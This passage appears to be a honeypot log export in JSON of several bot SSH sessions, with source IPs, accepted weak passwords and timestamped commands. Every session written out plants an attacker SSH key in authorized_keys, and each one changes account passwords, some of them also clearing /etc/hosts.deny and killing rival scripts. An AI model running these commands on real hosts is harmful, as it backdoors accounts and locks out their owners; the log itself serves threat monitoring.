~"},{"seq":3,"at":"2026-08-27T13:43:19.372727+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:43:19.373406+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:43:20.206331+00:00","kind":"input","latency_ms":null,"data":"echo -e \"halo\\nzXSpMrVRt6ab\\nzXSpMrVRt6ab\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:43:20.904423+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T13:43:21.755691+00:00","kind":"input","latency_ms":null,"data":"echo \"halo\\nzXSpMrVRt6ab\\nzXSpMrVRt6ab\\n\"|passwd"},{"seq":8,"at":"2026-08-27T13:43:22.327761+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:43:22.595748+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T13:43:22.596300+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:43:23.429739+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:43:23.923091+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:43:24.758480+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:43:25.269968+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:43:26.106558+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:43:26.107082+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:43:26.942832+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:43:26.943329+00:00","kind":"output","latency_ms":null,"data":" 13:43:26 up 7 days, 10:33, 0 user, load average: 0.09, 0.09, 0.09\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:43:27.798273+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:43:27.798745+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:43:28.631375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:43:28.631929+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:43:29.471735+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:43:29.472463+00:00","kind":"output","latency_ms":null,"data":"top - 13:43:29 up 7 days, 10:33, 0 user, load average: 0.09, 0.09, 0.09\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:43:30.302922+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:43:30.303504+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:43:31.136924+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:43:31.137465+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:43:31.970339+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:43:31.970903+00:00","kind":"output","latency_ms":null,"data":"halo"},{"seq":31,"at":"2026-08-27T13:43:32.814080+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:43:33.369900+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:43:34.226954+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:43:34.764074+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"halo","password":"halo","method":"password","accepted":true,"tier":"other"}]} {"id":"ce849b76-8909-425b-80e9-5b5c62f84f83","name":"brisk-stormy-alpaca","protocol":"ssh","channel_kind":"exec","src_ip":"103.4.145.50","src_port":37034,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":827,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:40:15.293996+00:00","ended_at":"2026-08-27T13:40:16.146140+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T13:39:52.426553+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:39:53.250559+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:40:00.747398+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:40:00.747878+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:40:01.579091+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HByEx1e4Of7l\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:40:02.401611+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:40:03.225621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:40:03.226093+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:40:04.053712+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:40:04.629961+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:40:05.458479+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:40:06.094041+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:40:06.922083+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:40:06.922526+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:40:07.748326+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:40:07.749022+00:00","kind":"output","latency_ms":null,"data":" 13:40:07 up 7 days, 10:30, 0 user, load average: 0.33, 0.42, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:40:08.573924+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:40:08.574427+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:40:09.399659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:40:09.400037+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:40:10.441512+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:40:10.442105+00:00","kind":"output","latency_ms":null,"data":"top - 13:40:10 up 7 days, 10:30, 0 user, load average: 0.33, 0.42, 0.33\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:40:11.290343+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:40:11.291064+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:40:12.123110+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:40:12.123693+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:40:12.958327+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:40:12.960929+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T13:40:13.822007+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:40:14.471160+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:40:15.294720+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:40:15.878969+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"123_asdf","method":"password","accepted":true,"tier":"other"}]} {"id":"1276b334-d8f4-44cb-8043-67c41dc46e0b","name":"courtly-languid-tapir","protocol":"ssh","channel_kind":"exec","src_ip":"164.92.161.148","src_port":53940,"username":"ubuntu","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":314,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:38:14.619040+00:00","ended_at":"2026-08-27T13:38:15.269839+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2046,"events":[{"seq":1,"at":"2026-08-27T13:38:03.456555+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:38:03.772081+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:38:07.953721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:38:07.954216+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:38:08.272119+00:00","kind":"input","latency_ms":null,"data":"echo -e \"root123\\nLQrcOtCJGyWi\\nLQrcOtCJGyWi\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:38:08.579750+00:00","kind":"input","latency_ms":null,"data":"echo \"root123\\nLQrcOtCJGyWi\\nLQrcOtCJGyWi\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:38:08.891081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:38:08.891638+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:38:09.204420+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:38:09.802746+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:38:10.116684+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:38:10.907247+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:38:11.220752+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:38:11.223092+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T13:38:11.534074+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:38:11.534553+00:00","kind":"output","latency_ms":null,"data":" 13:38:11 up 7 days, 10:28, 0 user, load average: 0.09, 0.06, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:38:11.847782+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:38:11.848300+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:38:12.162081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:38:12.162511+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:38:12.478583+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:38:12.479279+00:00","kind":"output","latency_ms":null,"data":"top - 13:38:12 up 7 days, 10:28, 0 user, load average: 0.09, 0.06, 0.07\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:38:12.790906+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:38:12.791261+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:38:13.110756+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:38:13.111234+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:38:13.425310+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:38:13.426104+00:00","kind":"output","latency_ms":null,"data":"ubuntu"},{"seq":29,"at":"2026-08-27T13:38:13.742189+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:38:14.306158+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:38:14.619813+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:38:15.176965+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ubuntu","password":"root123","method":"password","accepted":true,"tier":"other"}]} {"id":"af3b7aec-5a42-4c47-88a7-02d439e8fa22","name":"watchful-nimble-gannet","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":49038,"username":"vpnuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":794,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:11:34.264080+00:00","ended_at":"2026-08-27T13:11:35.054224+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T13:11:13.098883+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:11:13.840911+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:11:20.358172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:11:20.358779+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:11:21.170591+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\n7JsbOLcKuXaE\\n7JsbOLcKuXaE\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:11:21.939034+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\n7JsbOLcKuXaE\\n7JsbOLcKuXaE\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:11:22.677156+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:11:22.677693+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:11:23.428261+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:11:24.099109+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:11:24.889611+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:11:25.401407+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:11:26.509337+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:11:26.510135+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:11:27.330438+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:11:27.332271+00:00","kind":"output","latency_ms":null,"data":" 13:11:27 up 7 days, 10:01, 0 user, load average: 0.15, 0.17, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:11:28.111672+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:11:28.112566+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:11:28.906085+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T13:11:28.907060+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T13:11:29.704088+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T13:11:29.704575+00:00","kind":"output","latency_ms":null,"data":"top - 13:11:29 up 7 days, 10:01, 0 user, load average: 0.15, 0.17, 0.12\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T13:11:30.484938+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T13:11:30.485389+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T13:11:31.314545+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T13:11:31.314967+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T13:11:32.109342+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T13:11:32.110219+00:00","kind":"output","latency_ms":null,"data":"vpnuser"},{"seq":29,"at":"2026-08-27T13:11:32.848884+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:11:33.455366+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:11:34.264788+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:11:34.784212+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"vpnuser","password":"password","method":"password","accepted":true,"tier":"other"}]} {"id":"f00c17a5-4d18-4688-b503-11db1633996b","name":"woven-fabled-polecat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":57484,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:10:07.280852+00:00","ended_at":"2026-08-27T13:10:08.428732+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T13:09:47.502470+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:09:47.832879+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:09:51.909254+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:09:52.432865+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:09:52.761867+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bDf96yyeeNOr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T13:09:53.087731+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T13:09:53.412719+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:09:53.793573+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T13:09:54.122637+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T13:09:55.259155+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T13:09:55.896142+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T13:09:57.202219+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:09:57.529725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T13:09:58.012462+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T13:09:58.339418+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T13:09:59.177755+00:00","kind":"output","latency_ms":null,"data":" 13:09:59 up 7 days, 10:00, 0 user, load average: 0.35, 0.41, 0.26\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T13:09:59.505512+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T13:09:59.772050+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T13:10:00.100841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 